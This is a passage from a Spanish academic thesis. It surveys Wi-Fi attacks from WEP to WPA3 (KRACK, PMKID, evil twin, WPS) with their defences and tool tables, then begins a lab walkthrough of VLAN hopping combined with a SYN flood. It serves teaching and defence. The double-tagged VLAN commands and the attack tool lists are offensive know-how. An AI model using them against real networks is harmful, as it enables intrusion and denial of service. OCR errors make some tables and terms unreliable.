proceso de autenticacion en WPA Enterprise. Lo inico que necesita el cliente que desea conectarse al AP
necesita el campo ANonce: un niimero pseudoaleatorio suministrado en el proceso 4-way handshake.
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STA AP
AN
< once
STA constructs
the PTK
SNonce + MIC >
AP constructs
the PTK
< GTK + MIC
Ack >

Figura 2-35. 4-way handshake entre cliente (STA) y punto de acceso [75]

Al recibir el ANonce, el cliente genera su PTK y su propio Nonce (SNonce). En el segundo paso, le envia el
SNonce al AP para que esta pueda generar la PTK asociada al nuevo cliente. Ademas, para evitar una
suplantacion, se envia con un MIC para verificar la identidad del STA. El ltimo mensaje enviado por el AP es
la GTK, la clave de grupo para mensajes multicast, y un MIC, por el mismo motivo que el paso anterior. Si todo
ha sido correcto, el cliente finaliza el handshake con un ACK.

2521 Ataques sobre WPA

Las vulnerabilidades encontradas en WPA se asocian a la debilidad intrinseca del algoritmo RC4 y el campo
MIC.

2.5.2.1.1 Beckand Tews’ Improved Attack on RC4

WPA, a diferencia de WEP, utiliza diferentes cadenas pseudoaleatorias en cada mensaje gracias al sash del IV
con la PTK; ademas, con el campo MIC, la reinyeccion de paquetes no es tan simple como en WEP. Sin
embargo, si el AP tiene activada la priorizacion de paquetes mediante QoS, es posible aprovechar los distintos
canales para evitar la proteccion contra paquetes reinyectados [76].

Los paquetes ARP, a excepcion de dos octetos de la direccion IP, el MIC y el checksum, son conocidos. Estos
dos ultimos, con el método ChopChop, son descifrables; los dos octetos de la direccion se prueban hasta
encontrar los valores correctos. Para evitar ser detectados por el AP y forzar un nuevo calculo de las claves, se
realiza un intento cada minuto. Una vez obtenidos, los paquetes capturados se pueden mandar una vez por los
distintos canales habilitados por la QoS, la cual oscila entre 3 y 15 canales o colas adicionales. El campo MIC
se puede falsear aplicando inversamente el algoritmo que lo genera, permitiendo la reinyeccion.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WPA (L2)

La defensa se basa en no utilizar la funcionalidad QoS o bien, de ser necesario, evitar
Defensa L2 el cifrado WPA ya que se trata de una debilidad intrinseca de este. Los cifrados
WPA2 y WPAS3 (L2) no tienen esta vulnerabilidad

Tabla 2-43. Nivel de victima y defensa, y su justificacion en ataque Beck and Tews’
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2.5.2.1.2 Ataque Ohigashi-Morii

Este ataque es una mejora directa de la vulnerabilidad descubierta por Beck y Tews. Realizando un MitM, el
estudio de Ohigashi-Morii aplica el ataque 2.5.2.1.1 y es capaz de reducir el tiempo de ataque de doce minutos
a solo uno en el mejor de los casos. Ademas, no requiere que el punto de acceso disponga de funcionalidad QoS,
un requisito que era fundamental en el ataque anterior. De ser exitoso, el atacante, ademas de ubicarse entre la
victima y el AP (MitM), puede inyectar trafico a su voluntad.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WPA (L2)

La defensa se basa en no utilizar el cifrado WPA ya que se trata de una debilidad

Defensa L2 intrinseca de este. Los cifrados WPA2 y WPA3 (L2) no tienen esta vulnerabilidad

Tabla 2-44. Nivel de victima y defensa, y su justificacion en ataque Ohigashi-Morii
2.5.2.1.3 Ataque Michael

El campo MIC, también denominado Michael, no es infalible. Dos afios después del ataque a TKIP, en 2010
Beck descubre que el algoritmo del MIC se reinicia cuando a la red se reinyecta un paquete con una denominada
“palabra magica”. Esta “palabra magica” es deducible al aplicar el algoritmo Michael inverso, ya explotado en
su ataque previo al algoritmo TKIP. Por lo tanto, pudiendo alterar el algoritmo del MIC, el atacante puede
inyectar paquetes en la red.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WPA (L2)

La defensa se basa en no utilizar el cifrado WPA ya que se trata de una debilidad

Defensa L2 intrinseca de este. Los cifrados WPA2 y WPA3 (L2) no tienen esta vulnerabilidad

Tabla 2-45. Nivel de victima y defensa, y su justificacion en ataque Michael

2.5.3 Wireless Protected Access 2 (WPA2)

El estandar IEEE 802.111 y su implementacion, WPA2, es la enmienda a la norma 802.11 original. Desde 2004,
el uso de WEP es desaconsejado y, a partir de 2006, WPA2 es la certificacion obligatoria para los productos
avalados por la Wi-Fi Alliance.

Su principal diferenciacion con WEP y WPA es el uso del protocolo de cifrado CCMP: un modo de encriptacion
basado en AES, y no en RC4. CCMP requiere de una mayor potencia de computacion, no siendo compatible
con el hardware de los dispositivos que utilizan WEP y WPA. Por retrocompatibilidad, muchos AP que
implementan WPA2 aceptan, ademas, el cifrado TKIP.

A excepcion del cifrado, WPA?2 utiliza las novedades anticipadas en WPA: el 4-way handshake sigue siendo
obligatorio para la generacion de la PTK y los modos de operacion personal y empresarial coexisten atendiendo
a las necesidades de las distintas redes.

2531  Ataques sobre WPA2

La mejora de seguridad de WPA2 en comparacion con sus antecesores es notable. Las vulnerabilidades en la
implementacion de WPA2, en comparacion, surgen con un margen de tiempo mucho mayor que WEP 0 WPA
gracias a su robustez.
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2.53.1.1 Key Reinstallation AttaCK (KRACK)

Durante el 4-way handshake, a la recepcion del tercer mensaje se instala la clave de encriptacion que se usa para
cifrar los mensajes. Si el AP no recibe una confirmacion apropiada por parte del cliente, este mensaje es
reenviado. Cada vez que se recibe, la clave es reinstalada y resetea, entre otros, el contador nonce (nimero de
paquete transmitido). El reseteo del nonce, por tanto, puede ser forzado por el atacante al capturar y retransmitir
el tercer mensaje del handshake, permitiendo la reinyeccion, descifrado y/o forja de paquetes. Algunos puntos
de acceso incorporan contramedidas para los ataques KRACK que consisten en no reenviar el tercer mensaje.
Si bien en redes sin mucho trafico y/o interferencias puede ser ideal, en otros escenarios mas complejos puede
ocasionar problemas en el acceso a la red.

Nivel de la Justificacion

La victima es un cliente que quiere conectarse a un punto de acceso 802.11 que usa

Victima L2 cifrado WPA2 (L2)

La defensa se basa en no reenviar el tercer mensaje del sandshake para no permitir la

Defensa L2 reinstalacion de claves. Esta funcionalidad se incorpora en los AP (L2)

Tabla 2-46. Nivel de victima y defensa, y su justificacion en ataque KRACK
2.53.1.2 Ataque PMKID

Las funciones de roaming permiten que un cliente pueda cambiar entre puntos de acceso de forma rapida cuando
estan en movimiento. De esta forma, independientemente de los protocolos de seguridad o calidad de servicio
que coexisten con WPA2, el tiempo sin conexion por el transito se reduce. Una de las tramas que se difunden
en estas redes es la trama EAPOL, la cual contiene, de forma encriptada, la PMK y otros campos. Tras ser
capturada, el atacante puede ejecutar un ataque de fuerza bruta o diccionario para averiguar la clave
precompartida a partir de la PMK. Es destacable que, a diferencia de un ataque por diccionario o similar, este
ataque no requiere que haya clientes conectados en la red, aumentando su peligrosidad.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WPA2 (L2)

La defensa se basa en no utilizar las funciones de roaming o bien, de ser necesario,
Defensa L2 emplear claves robustas para evitar el ataque de diccionario o fuerza bruta, ambas
configurables en el punto de acceso (L2)

Tabla 2-47. Nivel de victima y defensa, y su justificacion en ataque PMKID

2.5.4 Wireless Protected Access 3 (WPA3)

Finalmente, el sucesor de WPA?2 fue anunciado en 2018 por la Wi-Fi Alliance. Dos afios después, al igual que
su antecesor, se establece como el estandar que marca la certificacion de la Wi-Fi Alliance.

El nuevo cifrado supone una mejora directa de la seguridad que WPA?2 ofrece. En el modo empresarial, se pasa
de un cifrado CCMP AES de 128 a 256 bits; en el personal, se sigue estableciendo el cifrado de WPA2 como el
minimo admisible, facilitando la transicion. Sin embargo, WPA3 incorpora un nuevo mecanismo de
autenticacion que sustituye al de WPA y WPAZ2: 1a autenticacion simultanea de iguales, también conocido como
SAE, por sus siglas en inglés, y Dragonfly Key Exchange (definido en la RFC 7664 [77]). Aun asi, para
garantizar la autenticacion, sigue siendo necesario el uso de una clave y las direcciones fisicas de los dispositivos
para el emparejamiento.

Una nueva funcionalidad que introduce la Wi-Fi Alliance con WPA3 es el Wi-Fi Easy Connect, que permite la
vinculacion de dispositivos a la red inalambrica de manera simplificada. Orientado a los dispositivos [oT
(Internet of Things, traducido como Internet de las Cosas) con interfaces minimas o inexistentes, el Wi-Fi Easy
Connect utiliza un movil, tableta u otro equipo ya en la red para conectar los nuevos elementos.
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2541  Ataques sobre WPA3

Aunque los ataques que en WPA2 ya no son viables en WPA3, este cifrado no esta exento de amenazas. El
descubridor del ataque KRACK, Mathy Vanhoef, y Eyal Ronen, publicaron informacion sobre las debilidades
del nuevo cifrado.

2.5.4.1.1 Transicion WPA3: degradacion y ataque de diccionario

Como se menciona en el apartado 2.5.4, WPA3 soporta el cifrado y mecanismo de WPA2 para aquellos
dispositivos que no soportan todavia el nuevo cifrado. La clave precompartida de WPA?2 es la misma que se
utiliza en el proceso de autenticacion de WPA3. Aprovechando esto, un atacante puede crear un falso punto de
acceso que finja ser el AP legitimo y que obligue el uso de WPA2. Los clientes que comiencen el handshake
con el punto de acceso maligno permiten al atacante, con los primeros mensajes del intercambio, comenzar un
ataque de diccionario. El uso de claves robustas es el tinico método viable para evitar este tipo de ataques hasta
que WPAZ2 se considere obsoleto.

Nivel de la Justificacion

La victima es un punto de acceso 802.11 que usa cifrado WPA3 con soporte para

Victima L2 cifrado WPA2 (L2)

La defensa se basa en no permitir la retrocompatibilidad con el cifrado WPA2 o bien,
Defensa L2 de ser necesario, emplear claves robustas para evitar el ataque de diccionario o fuerza
bruta, ambas configurables en el punto de acceso (L2)

Tabla 2-48. Nivel de victima y defensa, y su justificacion en ataque de Transicion WPA3
2.5.4.1.2 Degradacion del grupo de seguridad

En el proceso de autenticacion SAE el cliente y el punto de acceso deben acordar un grupo de seguridad acorde
a las especificaciones de ambos. Si un atacante suplanta un AP, es posible obligar a la victima a utilizar un grupo
de seguridad débil, conllevando el uso de otros algoritmos no tan robustos para el cifrado. Esta vulnerabilidad
se encuentra en el propio disefio de WPA3 y en su implementacion, permitiendo al atacante obtener una
contrasefia débil o generar una denegacion de servicio.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WPA3 (L2)

La defensa se basa en no permitir el uso de grupos de seguridad débiles para aquellos

Defensa L2 equipos que no lo soportan. Esto es configurable en el propio punto de acceso (L2)

Tabla 2-49. Nivel de victima y defensa, y su justificacion en ataque de Degradacion WPA3
2.5.4.1.3 Ataque de obstrucciéon a WPA3

Los ataques de obstruccion (o clogging) son ataques que tienen como finalidad causar la denegacion del servicio
de la victima por un alto consumo de su capacidad computacional. En WPA3, el equipo que comienza el
emparejamiento envia una trama de confirmacion, la cual debe ser procesada y respondida por el punto de
acceso. La cantidad de recursos necesarios para ello son significativos, y con un envio constante de tramas
forjadas el AP puede ser saturado, afectando a la conectividad de todos los dispositivos conectados. El éxito de
este ataque depende directamente del dispositivo atacado, ya que se requieren de mecanismos de deteccion
especificos.
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Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WPA3 (L2)

La defensa se basa en la deteccion de este tipo de ataques contra el punto de acceso

Defensa L2 que es incluido en los propios dispositivos mas modernos (L.2)

Tabla 2-50. Nivel de victima y defensa, y su justificacion en ataque de Obstruccion a WPA3
2.54.14 Ataque Side-Channel basado en tiempo

Como se menciona en el apartado 2.5.4.1.3, las tramas de confirmacidn necesitan un tiempo de procesamiento
en el AP antes de ser respondidas. El periodo de tiempo que tardan los grupos de seguridad més fuertes no aporta
ningun tipo de informacion sobre la clave. Sin embargo, en los mas débiles, es posible relacionar el tiempo de
respuesta con la clave utilizada. Esta equivalencia puede aprovecharse para adivinar, con un diccionario, la clave
precompartida.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WPA3 (L2)

La defensa se basa en no permitir el uso de grupos de seguridad débiles para aquellos

Defensa L2 equipos que no lo soportan. Esto es configurable en el propio punto de acceso (L2)

Tabla 2-51. Nivel de victima y defensa, y su justificacion en ataque Side-Channel basado en tiempo
2.5.4.1.5 Ataque Side-Channel basado en caché

En el apartado 2.5.4.1.4 se expone como es posible extraer informacion sobre la clave en funcion del tiempo de
respuesta del punto de acceso. En este ataque, en lugar de observar el tiempo, se analiza como es el proceso
interno del equipo en cuando se procesan las tramas de confirmacion. De esta manera, como en el ataque basado
en tiempo, el atacante puede intentar averiguar la clave usando un diccionario. Esto solo es viable si el equipo
ha sido infectado con algin malware que revele el comportamiento del equipo mediante técnicas de phishing o
similares.

Nivel de la Justificacion
- Factor -y . S ,
Victima humano La victima es un usuario que ha sido infectado con malware especifico

Factor | En este caso, la defensa se basa en la concienciacion de los usuarios para evitar caer

Defensa . . . . i
humano | en ataques de phishing e instalar software maligno en el dispositivo

Tabla 2-52. Nivel de victima y defensa, y su justificacion en ataque Side-Channel basado en caché
2.5.5 Ataques multiprotocolo
Algunos ataques sobre Wi-Fi son independientes del protocolo de seguridad subyacente o comin entre algunos.

25.51 Ataque de fuerza bruta/diccionario: WEP, WPA y WPA2

Las claves precompartidas pueden ser adivinadas por no ser especialmente robustas (fuerza bruta) o bien porque
son comunes y/o han sido filtradas (diccionario). En el caso de WPA y WPA2, el atacante, previo a realizar el
ataque, necesita capturar el handshake entre un cliente y el AP para poder llevarlo a cabo.
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Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado no WPA3 (L2)

La defensa se basa en el uso de contrasefias robustas en el AP (L2) que impidan que

Defensa L2 . . L
los ataques de fuerza bruta o diccionario tengan éxito

Tabla 2-53. Nivel de victima y defensa, y su justificacion en ataque de Fuerza bruta/diccionario

2.5.5.2  Evil twin/Phishing: WEP, WPA y WPA2

El phishing es el uso de la ingenieria social para engafar y estafar a las personas, generalmente por ceder
informacion confidencial o acceder a paginas fraudulentas [78]. Un atacante puede aprovechar la ingenuidad de
un cliente que se intenta conectar a una red —suplantando las caracteristicas del punto de acceso real— para
robar la clave precompartida (evil twin), o el usuario y contrasefia de configuracion del AP a través de una pagina
que suplante a la de administracion.

19:47 B AT D

X MOVISTAR_21E4 v

Conectar automaticamente c

>

=

-0
Para continuar navegando de manera segura,
debe confirmar su clave WIF|

CONFIRMAR

» 2017 Movistar Telecomunicacicnes
@l a

Figura 2-36. Portal cautivo falso generado con fluxion [70]

Nivel de la Justificacion

Factor

humano La victima es un usuario que se esta conectando a un punto de acceso maligno

Victima

Factor | En este caso, la defensa se basa en la concienciacion de los usuarios para evitar caer

Defensa humano | en ataques de phishing y ceder informacion del AP al atacante

Tabla 2-54. Nivel de victima y defensa, y su justificacion en ataque Evil Twin/phishing
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2.5.5.3  Ataque sobre Wi-Fi Protected Setup (WPS): WPA y WPA2

WPS permite configurar y conectar a los clientes a una red Wi-Fi WPA/WPA2® con menos complejidad. Su
objetivo son las pequefias redes que dan cobertura a usuarios con pocos conocimientos técnicos, como en los
hogares. El modo de operacion de WPS puede ser sin ninglin tipo de contrasefia, normalmente presionando los
botones WPS entre AP y dispositivo a conectar, o mediante el Pin WPS: un ntimero de 8 digitos generado
automaticamente por el punto de acceso. De los 8 numeros, el tlltimo no necesita ser calculado al ser una suma
de control; los 7 restantes, estan fragmentados en dos bloques —4 y 3 digitos. La complejidad aparente de 10”8
posibilidades pasan a ser inicamente 104 + 1073,

Adicionalmente, si el algoritmo que genera los niimeros pseudoaleatorios es débil, es posible deducir el Pin
gracias a los mensajes intercambiados entre cliente y AP en el proceso de registro. Este ataque es conocido como
Pixie Dust, y puede averiguar el Pin WPS en cuestion de segundos.

Nivel de la Justificacion

Victima L2 La victima es un punto de acceso 802.11 que usa cifrado WPA2 con WPS (L2)

La defensa se basa en limitar o no utilizar esta funcionalidad adicional, siendo

Defensa L2 configurable desde el punto de acceso (L2)

Tabla 2-55. Nivel de victima y defensa, y su justificacion en ataque sobre WPS

25.54 Hole 196: WPA y WPA2

En el 4-way handshake, en el tercer mensaje el AP envia al cliente la clave a utilizar para enviar mensajes
multicast (GTK). Con esta clave, los equipos interconectados por el AP pueden comunicarse entre si. Un
atacante que haya obtenido acceso a la red WLAN puede envenenar las tablas ARP de los equipos conectados,
tal y como sucederia en una red cableada. Es posible que el punto de acceso obligue a los demas nodos a que
todas las tramas pasen primero por el AP, pero de lo contrario, el atacante intercepta todo el trafico de la victima
(MitM).

Nivel de la Justificacion

La victima es un equipo con direccion IP (L3) conectado a un punto de acceso 802.11

Victima L3 que usa cifrado WPA o WPA2

La defensa se basa en limitar la conectividad de los usuarios de la red y forzarlos a
Defensa L2 comunicarse a través del AP. Esto se conoce como aislamiento de clientes y es una
funcionalidad incluida en el propio AP (L2)

Tabla 2-56. Nivel de victima y defensa, y su justificacion en ataque Hole 196

8 Los protocolos WEP y WPA3 no son vulnerables a este ataque debido a que WPS es exclusivo de la tecnologia WPA y WPAZ2. El cifrado
WPAS3 utiliza Wi-Fi Easy Connect como sustituto mas seguro de WPS, mientras que para WEP no existe un desarrollo o adaptacién de WPS.
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2.5.6 Sumario de ataques sobre Wi-Fi

Nivel (Defendible Herramientas (Jmplementado
Ataque Objetivo | victima/defensa en Consecuencias de ataque en otro
Nivel ataque | conmutador? d TFG/TFM?
Sf airmon-ng,
Fqlsa ., L2/L2 Vinculacion | airodump- ,
autenticacion AP L No usar ilegitima | ng, aireplay- Si[70]
[79] WEP n
g
Si
ChopChop L2112 Forjade airmon-ng, ,
[80] AP L2 No usar paquetes aireplay-ng SE{70]
WEP
Fragmentacion AP L2/12 Si Forja de airmon-ng, Si [69] [70]
[81] L2 No usar paquetes aireplay-ng
WEP
. AP L2/12 5 Inyeccion de packetforge-
Inyeccion [82] | Equipo No usar ng, aireplay- Si[70]
final 1.2 paquetes 0
WEP 2
, airmon-ng,
PTW [72], L2/L2 St Acceso a la airodumpg— )
Korek [83]y AP L No usar red ng, Si [69] [70]
FMS [84] WEP :
aircrack-ng
Tabla 2-57. Resumen de los ataques sobre cifrados WEP
Nivel . . . (Implementado
Ataque | Objetivo | victima/defensa G?Oﬁrﬁgsrin Consecuencias Hzrerzrglelrlléas en otro
Nivel ataque ’ d TFG/TFM?
Beck & .
Tews’ L2/L2 5 Inyeccion de tkiptun-ng
improved AP Eliminar QoS, aquetes (herramienta No
attack L2 no usar WPA paq sin finalizar)
[85]
Ataque .y
Ohigashi- AP, L2/L2 Si Inyeccion de
Morii Equipo paquetes, - No
1861 final L2 No usar WPA MitM
Ml | ap | L2 S| Inyessionde | No
[87] L2 No usar WPA paquetes

Tabla 2-58. Resumen de los ataques sobre cifrados WPA
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Nivel . . . (Implementado
Ataque Objetivo | victima/defensa (,Dille(iﬂzllerin Consecuencias Hccelrrar::entas en otro
Nivel ataque conmutacor: ¢ alaque TFG/TFM?
Si
KRACK | Equipo L2/L2 No reenviar MitM krackgttacks- Si [69] [70]
[88] final L2 mensajes del scripts
handshake
Si
No habilitar
Ataque L2/12 funciones Accesoala hexdumptool, ,
PMKID AP : red hexpceapngtool, | Si [69] [70]
[89] L2 roaming, uso de hashcat
contrasefias
robustas
Tabla 2-59. Resumen de los ataques sobre cifrados WPA2
Nivel . . . (Implementado
Ataque Objetivo | victima/defensa (,De;fgl(iﬂ:ilergn Consecuencias Hzrrattlalllentas en otro
Nivel ataque conmutacor: ¢ alaque TFG/TFM?
Transicion Sf
WPA3: - dr P
degradacion L2/L2 No permitir Acceso ala agonloree
y ataque de AP Lo retrocompatibilidad, red (herramienta No
diccionario uso de claves sin finalizar)
[90] robustas
Degradacion Si dragonslayer
del grupo de AP L2/L2 No permitir uso de Accesoala (herramienta No
seguridad L2 grupos de §egur1dad red sin finalizar)
[90] débiles
Ataque de Si
obstruccion AP L2/12 Implementar DoS dragqndrain No
a WPA3 L2 mecanismos de (experimental)
[50] deteccion
Ataque Si dragontime
Side- . Acceso a la (experimental),
Channel AP L2/12 No permitir uso de d dragonforce No
basado en grupos c}e seguridad e (herramienta
tiempo [90] debiles sin finalizar)
Ataque
Side- dragonforce
Channel AP hF?E::o No ACC::S ala (herramienta No
basado en ! sin finalizar)
caché [90]

Tabla 2-60. Resumen de los ataques sobre cifrados WPA3
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Nivel (Defendible Herramientas (Jmplementado
Ataque Objetivo | victima/defensa en Consecuencias de atagque en otro
Nivel ataque | conmutador? d TFG/TEM?
Ataque de 1o Si
L ' -
mer;a . AP Uso de Acceso ala airmon-ng, Si [69] [70]
bruta/diccionario L2 contrasefias red wifite
(Todos) [91] robustas
Evil Factor Accesoa la fluxion,
Twin/Phishing AP humano No red EAPHammer, Si[70]
(Todos) [92] weeman, SET
Ataque sobre L2/L2 Si .
Accesoala airmon-ng, ,
WPS (WPA, | AP Deshabilitar | yeq o | si[691170]
WPA2) [93] L2 WPS ’
Hole 196 (WPA, | Equi L3/L2 S
ole , | Equipo . ) . .
WPA2) [94] final 12 Alslamlento MitM ettercap Si[70]
de clientes

Tabla 2-61. Resumen de los ataques multiprotocolo
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3 ATAQUES REALIZADOS SOBRE ESCENARIOS
CABLEADOS

n este capitulo se recogen los pasos a seguir para replicar los ataques realizables y sus correspondientes
Edefensas en los escenarios cableados. En todo momento, se indica la maquina donde deben ejecutarse los

comandos, los ficheros a modificar y el contenido de los mismos. En el Anexo A se recogen todas las
herramientas de ataque con una breve explicacion; analogamente, el Anexo B resume los comandos y moédulos
utilizados en el conmutador.

3.1 Notacion y esquema general de los escenarios cableados

Siguiendo el criterio del Departamento de Ingenieria Telematica en la Escuela Técnica Superior de Ingenieria
de la Universidad de Sevilla, los escenarios cableados siguen el siguiente esquema:

=

ol

Figura 3-1. Esquema de red genérico con VLAN de gestion
La direccion IPv4 correspondiente a cada ordenador en notacion CIDR es la 10.10.X.Y/24, donde:
e Xesel valor de la VLAN asignada al puerto de conexion con el conmutador, y
e Y es el nimero del puerto de conexion con el conmutador.

Los puertos 2, 6 y 9 se reservan para el servidor ‘S’, el atacante ‘A’ y el cliente ‘C’, respectivamente. El puerto
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24y la VLAN 24 son de uso exclusivo para el ordenador de gestion ‘G’.

El equipo ‘G’ se comunica con el conmutador al que esté conectado a través del cable serie. En todo momento,
se ha utilizado la herramienta putty para la gestion de estos dispositivos. Las instrucciones correspondientes a la
gestion del conmutador se indican con [Consola conmutador], asumiendo implicitamente el uso de putty. La
Figura 3-2 muestra la ventana de configuracion de la conexion con putty. No es necesario modificar los valores
por defecto.

r

% PuTTY Configuration (R
Category: Basic options for your PUTTY session
m Specify the destination you want to connect to

Logging Serial line Speed
~ Terminal fdev/ttySD 9600
Keyboard Connection type:
Bell () SSH (e Serial () other: Telnet -
Features
v Window Load, save or delete a stored session
Saved Sessions
Appearance
Behaviour
Translation Default Settings l==r
b Selection
Colours SEVE
Fonts Delete
¥ Connection
Data
Proxy
» SSH Close window on exit:
serial (o) Always () Never only on clean exit
e S P
About Open Cancel

Figura 3-2. Ventana de configuracion de putty

En ciertos casos donde es necesario una cuarta maquina, se prescinde de la funcionalidad del equipo ‘G’ para
albergar otro servidor en el escenario, pasando a denominarse equipo ‘D’. En los apartados pertinentes y en
aquellos donde existan otras modificaciones del esquema de la Figura 3-1, se proporciona el esquema y su
configuracion correspondiente.

Equipo Sistema operativo Version del kernel Puerto de conexion
A Kali Linux 5.18.0-kali7-amd64 6
C CentOS7 3.14.1-1t 9
S CentOS7 3.14.1-1t 2
G/D CentOS7 3.14.1-1t 24/4

Tabla 3-1. Resumen de ordenadores utilizados
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Fabricante Modelo
Hewlett-Packard HP 2620-24 J9623A
Aruba Networks 2530-24 J9782A

Tabla 3-2. Resumen de conmutadores utilizados

3.11 Comandos para la configuracion de los equipos

En este apartado se recogen los comandos para establecer las direcciones IP de los equipos acorde a la Figura
3-1. Asimismo, se incluye la configuracion, comandos a ejecutar y ficheros a modificar para que el equipo ‘G’
reciba y registre los traps SNMP.

1° [Usuario “root”] Se configuran las tarjetas de red correspondientes acorde al esquema, es decir:
e [Equipo ‘S’]
ip a flush dev ethe
ip a add 10.10.1.2/24 dev etho
ip 1 set ethe up
ip a 1s dev ethe
e [Equipo ‘C’]
ip a flush dev ethe
ip a add 10.10.1.9/24 dev etho
ip 1 set ethe up
ip a 1s dev etho
e [Equipo ‘A’]
ip a flush dev ethl
ip a add 10.10.1.6/24 dev ethl
ip 1 set ethl up
ip a 1s dev ethl
e [Equipo ‘G’]
ip a flush dev ethe
ip a add 10.10.24.24/24 dev ethe
ip 1 set etho up
ip a 1s dev ethe
2° [Consola conmutador] Se reserva la VLAN 24 y su correspondiente puerto para la gestion del conmutador:
(config)# management-vlan 24
(config)# vlan 24 ip address 10.10.24.1/24
(config)# vlan 24 untagged 24
3° [Consola conmutador] Para que el conmutador pueda enviar los traps SNMP:
e Seactiva el modulo snmp-servery se indica la direccion a la que debe enviar los mensajes:

(config)# snmp-server enable
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(config)# snmp-server host 10.10.24.24 community public trap-level all
4° [Equipo ‘G’, usuario “root”] Se inicia la aplicacion snmptrapd ° para recibir y registrar los traps:
e Se modifica el fichero de configuracion para que contenga las siguientes lineas:

/etc/snmp/snmptrapd.conf

[..]
authCommunity log public

disableAuthorization yes

e Se lanza la aplicacion con los parametros pertinentes para que registre los mensajes recibidos en un
fichero:

snmptrapd -A -d -n -Lf /var/log/snmptrapd.log

e Opcionalmente, en una consola aparte se puede ejecutar el siguiente comando para leer los ultimos traps
recogidos en el fichero .log. Se recomienda maximizar la ventana o reducir el numero “del argumento
-n” para adaptarse al tamafio de la consola:

watch tail -n 25 /var/log/snmptrapd.log
3.2 Ataques sobre protocolos de capa enlace

Afague Protocolo Nivel Loerado? Herramientas de ataque
q empleado victima/defensa ¢logrado utilizadas
Inundacion MAC MAC L2/12 Si* macof
Suplantacion MAC MAC L2/L2 Si* ip
Suplantacion ARP ARP L3/L2 Si* arpspoof
Si
Salto de VLAN + .
Inundacion SYNX 802.1q + TCP L2/1.2 Ampliacion de hping3
ataque de [6]
Si
Inundacion de ) -
TCBPDU STP L2/L.2 Adaptacién de yersinia
ataque de [6]
Si
Suplantacion del ..
i)) Lente raiz STP L2/L2 Ampliacién de yersinia
ataque de [6]

Tabla 3-3. Ataques realizados sobre protocolos de capa enlace

*Inundacion MAC, Suplantacion MAC y Suplantacion ARP: la implementacion de estos 3 ataques esta
completamente documentada bajos los requisitos y condiciones exigidos (entorno homogéneo y uso de
herramientas no graficas) en la Memoria del moédulo de seguridad LAN del Master en seguridad de la
informacion y las comunicaciones de la Universidad de Sevilla [5].

9 El uso de snmptrapd frente a otra herramienta de monitorizacion SNMP se debe a que se encuentra preinstalada en el sistema operativo

utilizado y su sencillez en la configuracion.
10 Se ha afiadido el ataque de inundacién SYN para demostrar como aprovechar el salto de VLAN.
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3.21 Salto de VLAN + Inundacion SYN

3.21.1  Preparacion del escenario

=l

10.10.20.2/24
eth0: 48:5b:39:ee:f6:2a

6 Sw25 12 12 2

B — —

TRUNK VLAN 30 NATIVA | @
VLAN 20 TAGGED

10.10.30.6/24
ethl: 48:5h:39:ee:7c:0b

=)

10.10.30.9/24
eth0: 48:5b:39:cc:a7:12

Figura 3-3. Escenario del ataque 7.2.1

El equipo del atacante se encuentra virtualmente en la misma red que el equipo cliente en la VLAN 30 separados
de la VLAN 20, especifica del servidor. Los conmutadores que interconectan los tres ordenadores entre si se
encuentran conectados a través de un trunk. La VLAN 30 se corresponde con la VLAN nativa, mientras que la
VLAN 20 es etiquetada explicitamente. El atacante estd conectado al conmutador SW2530; el resto de los
equipos, al SW2620".

Se realizan las siguientes operaciones:
1° [Usuario “root”] Se configuran las tarjetas de red correspondientes acorde al esquema, es decir:
e [Equipo ‘S’]
ip a flush dev ethe
ip a add 10.10.20.2/24 dev etho
ip 1 set etho up
ip a 1s dev ethe
o [Equipo ‘C’]
ip a flush dev ethe
ip a add 10.10.30.9/24 dev ethe
ip 1 set eth@ up
ip a 1s dev ethe
e [Equipo ‘A’]
ip a flush dev ethl

11 Se ha comprobado como es necesario conectar estos equipos a los conmutadores especificados para que el ataque sea realizable. En caso de
intercambiar los conmutadores, con configuraciones equivalentes, el salto de VLAN no ocurre: los mensajes enviados por ‘A’ nunca son
conducidos por el puerto 12.
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ip a add 10.10.30.6/24 dev ethl
ip 1 set ethl up
ip a 1ls dev ethl

2° [Consola conmutador]| Se asignan las VLLANSs a los puertos correspondientes:
e [Switch “SW25”]
(config)# vlan 30 untagged 6,12
(config)# vlan 20 tagged 12
e [Switch “SW26”]
(config)# vlan 30 untagged 9,12
(config)# vlan 20 tagged 12
(config)# vlan 20 untagged 2

En este punto es posible comprobar como existe conectividad entre los equipos A y C, pero que no es posible
alcanzar S debido a la separacion logica por las VLANS.

3° [Equipo °S’, usuario “root”’] Se arranca el servidor web Apache con la pagina por defecto:

service httpd start

3.21.2  Objetivo del ataque: DoS del servidor ‘S’
Utilizando el salto de VLAN para alcanzar el equipo ‘S’, se realiza un ataque de inundacion SYN para degradar
el servicio ofrecido.

1° [Equipo ‘A’, usuario “root”] Sobre la interfaz previamente configurada, se van a crear unas subinterfaces
virtuales pertenecientes a las distintas VLAN:

ip 1 add link ethl eth1.30 type vlan proto 802.1q id 3@

ip 1 set eth1.30 up

ip 1 add link ethl1.30 eth1.30.20 type vlan proto 802.1q id 20
ip 1 set ethl1.30.20 up

ip a add 10.10.20.100/24 dev ethl.30.20

Si se forzase por la interfaz eth1.30.20 un ping a la direccion de °S’, se puede comprobar como, efectivamente,
los mensajes ARP llegan al servidor, pero la respuesta no llega de vuelta a ‘A’. El salto de VLAN se consigue,
pero sin ninguna repercusion. En la figura se puede comprobar como el trafico que entra por el puerto 12 del
conmutador SW2530 tiene doble etiquetado 802.1q, asi como la respuesta con etiqueta VLAN 20 que viaja
desde el conmutador SW2620.
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11 80.86881819(AsustekC_ee:7c:0b Broadcast ARP 66 Who has 160.16.20.2? Tell 10.10.20.100
12 80.86901284!AsustekC_ee:f6:2a AsustekC_ee:7c:0b ARP 64 10.10.20.2 15 at 48:5b:39:ee:f6:2a
13 81.86993630(AsustekC_ee:7c:0b Broadcast ARP 66 Who has 10.10.20.2? Tell 10.10.20.100
